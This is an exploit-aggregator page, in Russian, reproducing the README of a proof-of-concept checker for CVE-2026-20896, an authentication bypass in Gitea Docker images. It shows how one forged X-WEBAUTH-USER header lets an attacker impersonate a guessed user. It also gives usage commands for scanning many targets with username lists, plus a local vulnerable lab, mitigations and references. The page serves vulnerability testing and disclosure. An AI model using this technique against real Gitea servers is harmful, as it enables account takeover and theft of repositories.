## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SZYBNEV-CVE-2026-20896-GITEA-POC
# CVE-2026-20896 Проверка обхода аутентификации Gitea Docker
Только для авторизованных операций red team / пентеста.
Этот репозиторий содержит минимальный чекер для CVE-2026-20896, обхода аутентификации в официальных Docker-образах Gitea до версии `1.26.2` включительно, когда включена аутентификация через обратный прокси.
## Что такое CVE-2026-20896
Затронутые Docker-образы Gitea поставлялись с шаблоном `app.ini`, содержащим:
root@kitploit:~
REVERSE_PROXY_TRUSTED_PROXIES = *
Когда администратор включал:
root@kitploit:~
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Gitea доверял заголовку `X-WEBAUTH-USER` с любого исходного IP-адреса, который мог напрямую достичь HTTP-порта контейнера. Клиент, обошедший предполагаемый аутентифицирующий обратный прокси, мог отправить единственный заголовок и выдать себя за известного или угадываемого пользователя.
Практическое воздействие — неаутентифицированная выдача себя за учётную запись. Если угаданный пользователь является администратором, наихудший случай — полный захват экземпляра Gitea на уровне приложения и его репозиториев. RCE на хосте зависит от окружения и не заявляется данным чекером.
Исправленные версии начинаются с `1.26.3`; рекомендуется обновление до `1.26.4` или новее.
## Как работает PoC
Чекер:
1. Загружает целевую домашнюю страницу.
2. Ищет текст в футере, например `Powered by Gitea Version: 1.26.4`.
3. По умолчанию пропускает тестирование, если распознанная версия `>= 1.26.3`.
4. Отправляет запросы `GET /` с заголовком `X-WEBAUTH-USER: <username>` для каждого указанного имени пользователя.
5. Сообщает о попадании, когда возвращённый заголовок страницы выглядит как панель управления для этого пользователя.
Версия на Go поддерживает множественные цели, файлы с именами пользователей, параллелизм, таймауты, вывод JSONL, TLS `--insecure`, `--dry-run` и `--force`.
## Сборка
root@kitploit:~
go build -o gitea-cve-2026-20896-check .
Сторонние Go-зависимости не требуются.
## Использование
Одиночная цель:
root@kitploit:~
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
Множественные цели и имена пользователей:
root@kitploit:~
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
Пробный запуск:
root@kitploit:~
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Запасной вариант Bash:
root@kitploit:~
./poc.sh --url http://localhost:3000 --users admin,alice
## Коды выхода
* `0`: подтверждена хотя бы одна уязвимая выдача себя
* `1`: не подтверждено ни одной уязвимой выдачи себя
* `2`: ошибка использования, ввода или выполнения
## Локальная лаборатория для воспроизведения
Следующая лаборатория запускает уязвимый локальный контейнер Gitea и создаёт тестового пользователя:
root@kitploit:~
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email some-email@example.com \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
Ожидаемый положительный результат:
root@kitploit:~
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
Очистка:
root@kitploit:~
docker rm -f gitea-cve-2026-20896
## Смягчение
* Обновите Gitea до `1.26.3` или новее; предпочтительна версия `1.26.4` или новее.
* Не открывайте HTTP-порт контейнера Gitea непосредственно для ненадёжных сетей.
* Явно настройте доверенные обратные прокси.
* Держите аутентификацию через обратный прокси отключённой, если не понимаете сетевой путь и границы доверия прокси.
## Ссылки
* Рекомендация Gitea: https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4
* Примечания к выпуску Gitea для `1.26.3` / `1.26.4`: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/
* Исправляющий PR: https://github.com/go-gitea/gitea/pull/38151
* Запись CVE: https://vulners.com/cve/CVE-2026-20896
* Отчёт о зондировании в дикой природе через The Hacker News / Sysdig telemetry: https://thehackernews.com/2026/07/threat-actors-probe-gitea-docker-flaw.html